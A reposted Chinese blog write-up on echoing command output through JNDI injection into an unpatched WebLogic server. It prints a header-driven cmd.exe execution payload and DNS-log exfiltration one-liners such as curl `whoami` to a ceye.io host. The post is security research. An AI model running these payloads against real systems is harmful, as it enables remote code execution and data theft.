JNDI實現回顯研究


文章首發在安全客:https://www.anquanke.com/post/id/200892

1、前言

最近出的回顯文章內容畢竟多,linux下反序列化通殺回顯,tomcat拿org.apache.catalina.core.ApplicationDispatcher類的response和request實現回顯。之前就想過jndi注入能否實現回顯,先看一遍jndi原理。

  1. 目標代碼中調用了InitialContext.lookup(URI),且URI為用戶可控;
  2. 攻擊者控制URI參數為惡意的RMI服務地址,如:rmi://hacker_rmi_server//name;
  3. 攻擊者RMI服務器向目標返回一個Reference對象,Reference對象中指定某個精心構造的Factory類;
  4. 目標在進行lookup()操作時,會動態加載並實例化Factory類,接着調用factory.getObjectInstance()獲取外部遠程對象實例;
  5. 攻擊者可以在Factory類文件的構造方法、靜態代碼塊、getObjectInstance()方法等處寫入惡意代碼,達到RCE的效果;

當時的想法是,如果獲取web服務器回顯類,通過這種方式實現回顯,必須是在web服務器運行時注入代碼,也就是在web環境下。但是jndi是通過遠端去加載惡意類,應該是不在web環境下。后來給清水川崎交流的時候,他說jndi也能實現回顯,遂就有了下文。

2、環境構建

首先,搭建一個有jndi注入的web服務器,我這里選擇weblogic 10.3.6版本,no patch,jdk版本選擇Jdk7u21。用cve-2017-10271中com.sun.rowset.JdbcRowSetImpl這個payload打一發,本地先測成功。
Alt text
接着想法是JNDI Naming Reference的限制太多了,惡意類又難生成,LDAP Server除了使用JNDI Reference進行利用之外,還支持直接返回一個對象的序列化數據。如果Java對象的 javaSerializedData 屬性值不為空,則客戶端的 obj.decodeObject() 方法就會對這個字段的內容進行反序列化,這樣利用ldap注入代碼也方便點,下一步去找weblogic線程類,輸入輸出類。lufei表哥已經寫過文章了:https://xz.aliyun.com/t/5299#toc-9,這就省了很多事。直接用他的代碼:

String lfcmd = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getHeader("lfcmd");
String[] cmds = new String[]{"cmd.exe", "/c", lfcmd};
java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
weblogic.servlet.internal.ServletResponseImpl response = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getResponse();
weblogic.servlet.internal.ServletOutputStreamImpl outputStream = response.getServletOutputStream();
outputStream.writeStream(new weblogic.xml.util.StringInputStream(output));
outputStream.flush();
response.getWriter().write("");

接着為了讓服務器能夠注入代碼,選一條gadget,這里選擇Jdk7u21這條鏈。怎么讓gadget不執行命令,而是執行java代碼看這篇文章:https://blog.csdn.net/fnmsd/article/details/79534877
Alt text
拿到gadget 進行base64編碼,拷貝到HackerLDAPRefServer類這里。
Alt text
開啟HackerLDAPRefServer,看一下回顯效果,這里已經收到請求,回顯也能夠回顯,看來是之前的猜想錯了,還是rmi理解的不夠深刻。
Alt text
在重新理解rmi客戶端和服務器相互調用時,看到6時,才反應過來,即使是遠程加載惡意類,也相當於是本地執行,當然也就能拿到weblogic回顯的線程類。
Alt text
具體調試時,可以發現在觸發jndi注入后,繼續觸發反序列化操作
Alt text
下圖就是執行代碼過程,之前犯的錯誤就是上圖,將jndi注入和反序列化操作割裂開了,實際是按順序觸發的。
Alt text

3、jndi其他回顯方法

最后提一嘴,jndi能出外網回顯的利用總結,能彈shell那就不用說啥了:

1、 向系統可寫web目錄寫文件/js文件寫命令,在讀取這個文件實現回顯。(獲取網站絕對路徑,可以讀.bash_hitory,服務器默認配置文件,框架自帶的log,報錯獲得)
2、通過dnslog拿到回顯內容:
windows:
1、whoami>D:/temp&&certutil -encode D:/temp D:/temp2&&findstr /L /V ""CERTIFICATE"" D:/temp2>D:/temp3 2、set /p MYVAR=< D:/temp3 && set FINAL=%MYVAR%.xxxx.ceye.io && ping %FINAL% 3、del "D:/temp" "D:/temp2" "D:/temp3"
Linux:
反引號命令執行
curl `whoami`.xxx.ceye.io

4、總結

實際,有了這個思路,jndi也能夠回顯划重點,面試官問的時候記住了),可以結合很多web服務器搞,比如tomcat,Spring,Spring-Boot框架。雖然jndi需要出網,就顯的很雞肋了,但這也算是一種思路,畢竟知識面決定攻擊面,知識鏈決定攻擊深度,多掌握一個點,說不定就用上了。最后注入代碼gadget有ROME、CommonsBeanutils1、CommonsCollections2、CommonsCollections3、CommonsCollections4、Spring1、Spring2、Jdk7u21、MozillaRhino1、JBossInterceptors1、JavassistWeld1、JSON1、Hibernate1,在Jdk7u21 gadget注入代碼,javassist修改字節碼時,添加泛型會出現報錯,解決方法參考下面鏈接。(題外話,這個月在安全客連投了5篇,算是上一年研究的一點總結,現在手里沒什么干貨了,繼續潛心修煉去了,遇到有意思的點,在發出來給大家分享。

參考鏈接:

https://github.com/kxcode/JNDI-Exploit-Bypass-Demo
https://kingx.me/Exploit-Java-Deserialization-with-RMI.html
https://xz.aliyun.com/t/7348
https://blog.csdn.net/kakaweb/article/details/84592472


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM